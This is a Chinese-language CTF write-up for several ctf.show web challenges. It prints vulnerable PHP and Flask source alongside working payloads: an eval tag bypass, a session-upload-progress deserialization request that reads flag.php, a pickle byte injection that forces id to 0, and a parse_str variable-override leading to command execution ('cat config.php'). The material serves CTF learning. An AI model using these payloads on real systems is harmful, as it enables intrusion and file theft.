easy_eval 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );highlight_file (__FILE__ );$code = $_POST ['code' ];if (isset ($code )){ $code = str_replace ("?" ,"" ,$code ); eval ("?>" .$code ); }
用原标签打不了了,只能换其他标签
1 code=<script language="php"> phpinfo();</script>
然后代码执行就行
剪刀石头布 要求赢一百局才能拿到flag,show一下source
源码太长了,分段分析一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 <?php ini_set ('session.serialize_handler' , 'php' ); if (isset ($_POST ['source' ])){ highlight_file (__FILE__ ); phpinfo (); die (); } error_reporting (0 ); include "flag.php" ; class Game { public $log ,$name ,$play ; public function __construct ($name ) { $this ->name = $name ; $this ->log = '/tmp/' .md5 ($name ).'.log' ; } public function play ($user_input ,$bot_input ) { $output = array ('Rock' =>'✌🏻' ,'Paper' =>'✊🏻' ,'Scissors' =>'✋🏻' ); $this ->play = $user_input .$bot_input ; if ($this ->play == "RockRock" || $this ->play == "PaperPaper" || $this ->play == "ScissorsScissors" ){ file_put_contents ($this ->log,"<div>" .$output [$user_input ].' VS ' .$output [$bot_input ]." Draw</div>\n" ,FILE_APPEND); return "Draw" ; } else if ($this ->play == "RockPaper" || $this ->play == "PaperScissors" || $this ->play == "ScissorsRock" ){ file_put_contents ($this ->log,"<div>" .$output [$user_input ].' VS ' .$output [$bot_input ]." You Lose</div>\n" ,FILE_APPEND); return "You Lose" ; } else if ($this ->play == "RockScissors" || $this ->play == "PaperRock" || $this ->play == "ScissorsPaper" ){ file_put_contents ($this ->log,"<div>" .$output [$user_input ].' VS ' .$output [$bot_input ]." You Win</div>\n" ,FILE_APPEND); return "You Win" ; } } public function __destruct ( ) { echo "<h5>Game History</h5>\n" ; echo "<div class='all_output'>\n" ; echo file_get_contents ($this ->log); echo "</div>" ; } } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta http-equiv="X-UA-Compatible" content="IE=edge" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <link rel="icon" href="icon.png" > <title>Rock Paper Scissors</title> <!-- post 'source' to view something --> <link rel="stylesheet" href="style.css" > </head> <?php session_start (); if (isset ($_POST ['name' ])){ $_SESSION ['name' ]=$_POST ['name' ]; $_SESSION ['win' ]=0 ; } if (!isset ($_SESSION ['name' ])){ ?> <body> <h5>Input your name :</h5> <form method="post" > <input type="text" class ="result " name ="name "></input > <button type ="submit ">submit </button > </form > </body > </html > <?php exit (); } ?> <body > <?php echo "<h5 >Welecome ".$_SESSION ['name '].", now you win ".$_SESSION ['win ']." rounds .</h5 >";$Game =new Game ($_SESSION ['name ']); ?> <h5 >Make your choice :</h5 > <form method ="post "> <button type ="submit " value ="Rock " name ="choice ">✌🏻</button > <button type ="submit " value ="Paper " name ="choice ">✊🏻</button > <button type ="submit " value ="Scissors " name ="choice ">✋🏻</button > </form > <?php $choices = array ("Rock ", "Paper ", "Scissors "); $rand_bot = array_rand ($choices ); $bot_input = $choices [$rand_bot ]; if (isset ($_POST ["choice "]) AND in_array ($_POST ["choice "],$choices )) { $user_input = $_POST ["choice" ]; $result =$Game ->play ($user_input ,$bot_input ); if ($result =="You Win" ){ $_SESSION ['win' ]+=1 ; } else { $_SESSION ['win' ]=0 ; } } else { ?> <form method="post" > <button class ="flag " value ="flag " name ="flag ">get flag </button > <button class ="source " value ="source " name ="source ">show source </button > </form > <?php if (isset ($_POST ["flag "])) { if ($_SESSION ['win' ]<100 ){ echo "<div>You need to win 100 rounds in a row to get flag.</div>" ; } else { echo "Here is your flag:" .$flag ; } } } ?> </body> </html>
其实这里的话我看到开头这个ini_set设置就猜到是session反序列化了,看了一下配置,发现用的序列化引擎确实不一样
然后看一下是否需要条件竞争
1 session.upload_progress.cleanup Off
关掉了,那就轻松一点
这里的话很简单,直接读取flag文件就行了,其他的代码都不重要,写poc
1 2 3 4 5 6 7 8 9 <?php class Game { public $log = "/var/www/html/flag.php" ; } $a = new Game ();echo serialize ($a );?>
生成链子,然后写个上传文件的html
1 2 3 4 5 6 <form action="https://153d0900-ae62-44d4-a0c2-f76f6c47d1da.challenge.ctf.show/" method="POST" enctype="multipart/form-data"> <!--题目地址 --> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
然后上传我们的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 POST / HTTP/1.1 Host: 153d0900-ae62-44d4-a0c2-f76f6c47d1da.challenge.ctf.show Content-Length: 352 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8mc98xrP0GIwfwA Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Cookie: PHPSESSID=wanth3f1ag Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive ------WebKitFormBoundaryH8mc98xrP0GIwfwA Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" 1 ------WebKitFormBoundaryH8mc98xrP0GIwfwA Content-Disposition: form-data; name="file"; filename="|O:4:\"Game\":1:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";}" Content-Type: text/plain 123 ------WebKitFormBoundaryH8mc98xrP0GIwfwA--
这里的话PHP_SESSION_UPLOAD_PROGRESS会将内容保存到我们的sessid文件中,然后在回调函数read执行的时候进行反序列化就会触发destruct魔术方法
baby_pickle 看附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 import base64import pickle, pickletoolsimport uuidfrom flask import Flask, requestapp = Flask(__name__) id = 0 flag = "ctfshow{" + str (uuid.uuid4()) + "}" class Rookie (): def __init__ (self, name, id ): self .name = name self .id = id @app.route("/" ) def agent_show (): global id id = id + 1 if request.args.get("name" ): name = request.args.get("name" ) else : name = "new_rookie" new_rookie = Rookie(name, id ) try : file = open (str (name) + "_info" , 'wb' ) info = pickle.dumps(new_rookie, protocol=0 ) info = pickletools.optimize(info) file.write(info) file.close() except Exception as e: return "error" with open (str (name)+"_info" , "rb" ) as file: user = pickle.load(file) message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>" return message @app.route("/dacaiji" ) def get_flag (): name = request.args.get("name" ) with open (str (name)+"_info" , "rb" ) as f: user = pickle.load(f) if user.id != 0 : message = "<h1>你不是大菜鸡</h1>" return message else : message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>" return message @app.route("/change" ) def change_name (): name = base64.b64decode(request.args.get("name" )) newname = base64.b64decode(request.args.get("newname" )) file = open (name.decode() + "_info" , "rb" ) info = file.read() print ("old_info ====================" ) print (info) print ("name ====================" ) print (name) print ("newname ====================" ) print (newname) info = info.replace(name, newname) print (info) file.close() with open (name.decode()+ "_info" , "wb" ) as f: f.write(info) return "success" if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8888 )
看到pickle.load函数第一个想的就是pickle反序列化
分析一下,flask框架,在/路由下接收一个name参数并将name和id传入Rookie中并实例化对象后序列化传入文件中,然后在/dacaiji路由下检测id的值,如果值是0才能拿到flag,但是前面id是不可控的
最后在/change路由下,这里会对name进行重命名newname,说明这里的name可控,也是我们的入手点
先可控pickle序列化后的内容是什么样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import pickle, pickletoolsclass Rookie (): def __init__ (self, name, id ): self .name = name self .id = id name = "test" id = 1 new_rookie = Rookie(name, id ) file = open (str (name) + "_info" , 'wb' ) info = pickle.dumps(new_rookie, protocol=0 ) info = pickletools.optimize(info) file.write(info) file.close()
生成test_info文件
1 2 3 4 5 6 7 8 9 10 11 ccopy_reg _reconstructor (c__main__ Rookie c__builtin__ object NtR(dVname Vtest sVid I1 sb.
这里就是pickle序列化后的字节流了,然后这里的话id是1,我们这时候该怎么去改变id的值呢?
这里可以看到末尾的sb.是结束了的,那我们是否可以构造一个name的值让sb.提前结束呢?
payload
本地测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import pickle,pickletoolsimport base64name = base64.b64decode("dGVzdA==" ) newname = base64.b64decode("dGVzdApzVmlkCkkwCnNiLg==" ) file = open (name.decode() + "_info" , "rb" ) info = file.read() info = info.replace(name, newname) file.close() with open (name.decode() + "_info" , "wb" ) as f: f.write(info) print ("success" )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ccopy_reg _reconstructor (c__main__ Rookie c__builtin__ object NtR(dVname Vtest sVid I0 sb. sVid I1 sb.
可以看到这里是成功写入了,那我们就可以试着打一下
base64编码一下
1 2 3 /?name=test /change?name=dGVzdA==&newname=dGVzdApzVmlkCkkwCnNiLg== /dacaiji?name=test
repairman 根页面打开一会就跳转了,然后啥线索都没有
然后把mode参数的值从1改为0就跳转到源代码页面了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 Your mode is the guest!hello,the repairman! <?php error_reporting (0 );session_start ();$config ['secret' ] = Array ();include 'config.php' ;if (isset ($_COOKIE ['secret' ])){ $secret =& $_COOKIE ['secret' ]; }else { $secret = Null; } if (empty ($mode )){ $url = parse_url ($_SERVER ['REQUEST_URI' ]); parse_str ($url ['query' ]); if (empty ($mode )) { echo 'Your mode is the guest!' ; } } function cmd ($cmd ) { global $secret ; echo 'Sucess change the ini!The logs record you!' ; exec ($cmd ); $secret ['secret' ] = $secret ; $secret ['id' ] = $_SERVER ['REMOTE_ADDR' ]; $_SESSION ['secret' ] = $secret ; } if ($mode == '0' ){ if ($secret === md5 ('token' )){ $secret = md5 ('test' .$config ['secret' ]); } switch ($secret ){ case md5 ('admin' .$config ['secret' ]): echo 999 ; cmd ($_POST ['cmd' ]); case md5 ('test' .$config ['secret' ]): echo 666 ; $cmd = preg_replace ('/[^a-z0-9]/is' , 'hacker' ,$_POST ['cmd' ]); cmd ($cmd ); default : echo "hello,the repairman!" ; highlight_file (__FILE__ ); } }elseif ($mode == '1' ){ echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged' ; }else { header ('refresh:5;url=index.php?mode=1' ); exit ; }
审了一下代码,发现$secret =& $_COOKIE['secret'];
这里是引用赋值,此时$secret
和 $_COOKIE['secret']
指向同一个值。
因为这里并不知道$config['secret']
的内容,所以这里只能进入666的分支,但是这里只能通过字母数字执行命令,而且无回显,想rce几乎不可能,那我们只能走向999的分支了,问题是怎么构造呢?
1 2 3 4 5 6 7 if (empty ($mode )){ $url = parse_url ($_SERVER ['REQUEST_URI' ]); parse_str ($url ['query' ]); if (empty ($mode )) { echo 'Your mode is the guest!' ; } }
这里有一个变量覆盖的函数,一开始没想到这段代码有什么用,只觉得传一个mode而已,后面无路可走了返回来看,想到可以覆盖变量修改$config['secret']
的内容,我们试一下
1 ?mode=0&config[secret]=1&secret=e00cf25ad42683b3df678c61f42c6bda
这里因为可以变量覆盖,所以不需要再往cookie里去传了
输出999,意味着我们进入了这一分支,我们传命令打无回显RCE
1 cmd=cat config.php > flag.txt
简单的数据分析 有一个/source/model.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 D = random.randint(100 , 200 ) pData = [numpy.random.random(D)*100 ,numpy.random.random(D)*100 ,numpy.random.random(D)*100 ] try : data = request.form.getlist('data[]' ) data = list (map (float ,data)) data = numpy.array(data) except : msg="数据转换失败" try : distance =[numpy.linalg.norm(A-data) for A in pData] avgdist = numpy.mean(numpy.abs (distance - numpy.mean(distance))**2 ) if avgdist<0.001 : msg= flag else : msg= f"您的数据与三个聚类中心的欧拉距离分别是<br><br>{distance} 均方差为:{avgdist} " except : msg="未提交数据或数据维度有误"
生成三个长度为 D
的随机数组(pData
),每个数组的元素是 0 到 100 之间的随机浮点数。然后从表单中获取名为 data[]
的输入字段的值,并将其转换为浮点数列表,之后将列表转化成数组
然后就是计算欧拉距离了,这里会将计算我们传入的数据data和pData数组中三个聚类中心之间的欧拉距离,并计算这些距离的方均差,如果均方差小于 0.001,返回 flag
。
不会啊完全看不明白入手点在哪,先搁置一下吧